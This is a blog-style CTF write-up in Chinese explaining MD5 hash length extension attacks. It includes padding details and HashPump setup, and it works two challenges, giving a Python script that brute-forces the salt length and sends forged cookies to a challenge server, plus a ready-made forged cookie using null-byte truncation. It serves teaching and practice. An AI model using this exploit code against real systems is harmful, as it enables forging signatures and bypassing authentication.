hash长度扩展攻击

感觉挺有用就加了进来

原理

首先要讲hash算法(例如md5),但是也不需要太了解,只需要知道以下几点就可以了

1
2
3
1.MD5加密过程中512比特(64字节)为一组,属于分组加密,而且在运算的过程中,将512比特分为32bit*16块,分块运算
2.我们关键利用的是MD5的填充,对加密的字符串进行填充(比特第一位为1其余比特为0),使之(二进制)补到448模512同余,即长度为512的倍数减64,最后的64位在补充为原来字符串的长度,这样刚好补满512位的倍数,如果当前明文正好是512bit倍数则再加上一个512bit的一组。
3.MD5不管怎么加密,每一块加密得到的密文作为下一次加密的初始向量IV,这一点很关键!!!

有点绕,用个例子讲一下怎么填充
比如说计算字符串”admin”
十六进制0x64676d696e
这里与448模512不同余,补位后数据如下

1
0x61646d696e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000000

注意!下图中8是怎么来的!比特第一位补位1,其余为0,那么admin后面(二进制补位1000…000)

注意!下图中框框中是啥!是全部要加密明文的长度!这里长度不包含填充的长度!而且注意是比特数!而且我们需要注意一点

MD5中存储的都是小端方式!
MD5中存储的都是小端方式!
MD5中存储的都是小端方式!
重要的事情说三遍,举个例子:假如我们这一块值为0x12345678
那么在MD5运算时候存储的顺序是 0x78563412
这也是之所以后8字节为长度,而第1字节先有数据的原因

攻击原理

主要看刚才讲的第三点

这样的话,假设secret只知道位数的话,将其填充成secret1,其中n=hash(secret)=hash(secret1)已知,则hash(secret1+任意数据)都可以求出,因为(secret1+任意数据)会被分为很多组,第一组为secret1,则第一组生成的向量即为n,直接用于接下来的运算即可。所以hash扩展长度攻击我理解就是,已知secret长度和hash值,就可以求出(secret+任意数据)的hash值
如果一个应用程序是这样操作的:

1
2
3
准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值

这个时候,该应用程序就易受长度扩展攻击,攻击者可以构造出{secret || data || attacker_controlled_data}的哈希值。

再比如,一个网站在用户下载文件之前需验证下载权限。这个网站会用如下的算法产生一个关于文件名的MAC:

1
2
3
def create_mac(key, fileName)
return Digest::SHA1.hexdigest(key + fileName)
End

最终产生的URL会是这样:

1
http://example.com/download?file=report.pdf&mac=563162c9c71a17367d44c165b84b85ab59d036f9

用户发起请求要下载一个文件时,将会执行下面这个函数:

1
2
3
4
5
6
7
8
def verify_mac(key, fileName, userMac)
validMac = create_mac(key, filename)
if (validMac == userMac) do
initiateDownload()
else
displayError()
end
End

这样,只有当用户没有擅自更改文件名时服务器才会执行initiateDownload()开始下载。实际上,这种生成MAC的方式,给攻击者在文件名后添加自定义字串留下可乘之机。

已知salt长度

题目:http://www.shiyanbar.com/ctf/1848

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
1
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

其中已知sample-hash,即hash(secret+”adminadmin”),这时候构造username=”admin”,password=”admin/x80/00…../00gg”,其中使得secret+username+password恰好分为两组,第一组和secret+adminadmin一样(因为前面求hash(secret+”adminadmin”)时需要填充成hash(secret+”adminadmin”+”/x80/00…”)),第二组为gg,这时候求hash(secret+username+password)等价于求hash(gg),但是初始向量变成第一组的hash值(已知),然后构造cookie中的getmein提交即可

解法:使用hashpump解,其中安装如下:

  • HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
    (至于别的文章提到了MD4、RIPEMD-160、SHA-0、WHIRLPOOL等也可以构造长度扩展攻击,等以后再研究。)
    1
    2
    3
    4
    5
    git clone https://github.com/bwall/HashPump
    apt-get install g++ libssl-dev
    cd HashPump
    make
    make install

至于想在python里实现hashpump,可以使用hashpumpy这个插件:

1
pip install hashpumpy

至于想在python里实现hashpump,可以使用hashpumpy这个插件:

1
2
3
python>>>
import hashpumpy>>>
help(hashpumpy.hashpump)


  • 第一行是得到的hash值,即hash(secret+’adminadmin’)
    第二行是已知数据,即’adminadmin’
    第三行是总长度
    第四行是要添加的数据(这个随意)

  • 将得到的第一行设置到cookie的getmein中,第二行为username+password的值

未知salt长度

题目链接:web.jarvisoj.com:32778/index.php
web题第一操作,先扫一波目录,最近换了个新工具https://github.com/ring04h/weakfilescan
看到有源码泄露,访问index.php~下载下来源码,因为下载下来的是一串乱七八糟的,需要去恢复一下。

在linux下用file看一下文件类型,发现是swap文件的话加上后缀什么的,然后

1
vim -r index.php.swp

恢复一下就好了。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>

发现是hash长度扩展攻击,唯一不同的是不知道secret的长度

首先观察服务器端给了什么信息,发现服务器端返回了$role='s:5:"guest";'以及$hsh=md5(salt+strrev($role))
然后需要我们求的是md5(salt+strrev(admin))

先看代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashpumpy
import urllib
import requests
for i in range(1,30):
m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i)
print i
url='http://120.26.131.152:32778/'
digest=m[0]
message=urllib.quote(urllib.unquote(m[1])[::-1])
cookie='role='+message+'; hsh='+digest
#print cookie
headers={
'cookie': cookie,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate'
}
print headers
re=requests.get(url=url,headers=headers)
print re.text
if "Welcome" in re.text:
print re;
break

代码是在linux下运行的,因为使用了hashpumpy库,这个库我在win下安装不成功..使用说明如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> import hashpumpy
>>> help(hashpumpy.hashpump)
Help on built-in function hashpump in module hashpumpy:
hashpump(...)
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash
Returns:
A tuple containing the new hex digest and the new message.
>>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY'))
('e3c4a05f', 'original_datadata_to_add')

所以代码中,$hsh的值中已知的部分为strrev(serialize('guest')),即';\"tseug\":5:s',',而需要填充的部分为';\"nimda\":5:s',长度则用爆破。

此时构造出来的cookie为

1
role=s%3A5%3A%22admin%22%3B%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s%3A5%3A%22guest%22%3B; hsh=fcdc3840332555511c4e4323f6decb07

这样的cookie传到服务端,首先根据源码,会将role反序列化之后比较是否等于admin,这时候会发现php反序列化也存在%00截断,所以第一个判断过了

接下来会判断$hsh是否等于md5($salt+strrev($role)),而md5($salt+strrev($role))
等于md5($salt+strrev(s:5:"admin";%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest";))
等于md5($salt+(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00;\"nimda\":5:s))
,而其中md5($salt+(;\"tseug\":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%00%00%00%00%00%00%00)等于已知的3a4727d57463f122833d9e732f94e4e0,而这个值也将作为下一个分组的输入,这个和hashpump的运算结果是一样的,所以运行一下代码:

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 原理
  2. 2. 攻击原理
  3. 3. 已知salt长度
  4. 4. 未知salt长度
,